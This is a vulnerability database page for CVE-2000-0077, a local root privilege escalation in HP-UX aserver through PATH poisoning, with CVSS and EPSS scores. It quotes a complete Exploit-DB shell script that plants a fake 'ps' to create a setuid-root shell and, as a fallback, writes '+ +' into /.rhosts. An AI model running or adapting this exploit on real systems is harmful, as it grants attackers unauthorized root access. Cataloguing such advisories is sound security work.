CVE-2000-0077 : Detail

CVE-2000-0077

0.04%V3
Local
2000-02-04
04h00 +00:00
2017-10-18
14h57 +00:00
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CVE Descriptions

The October 1998 version of the HP-UX aserver program allows local users to gain privileges by specifying an alternate PATH which aserver uses to find the ps and grep commands.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20396

Publication date : 1998-10-17 22h00 +00:00
Author : Loneguard
EDB Verified : Yes

# source: https://www.securityfocus.com/bid/1929/info # # Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default. # # During normal execution, Aserver executes "ps" via the system() libcall, relying on the PATH environment variable to do so. As a result, a user can modify their PATH environment variable so that it includes an arbitrary program called 'ps' before executing Aserver. When Aserver is run with the -f argument, the offending system() function will be called and the attacker's version of ps will be executed as root. # # This is a trivial root compromise. # #!/bin/sh # # HP-UX aserver.sh - Loneguard 18/10/98 # Simple no brainer path poison followed by a twist [ inspired by DC ;) ] # cd /var/tmp cat < _EOF > ps #!/bin/sh cp /bin/csh /var/tmp/.foosh chmod 4755 /var/tmp/.foosh _EOF chmod 755 ps PATH=.:$PATH /opt/audio/bin/Aserver -f if [ -e /var/tmp/.foosh ] # Hmmm, you not like that technique? cd /tmp rm last_uuid ln -s /.rhosts last_uuid /opt/audio/bin/Aserver -f echo "+ +" > /.rhosts # Haha, my Kungfu is the best! fi echo Crazy MONKEY!

Products Mentioned

Configuraton 0

Hp>>Hp-ux >> Version 10

Hp>>Hp-ux >> Version 11

References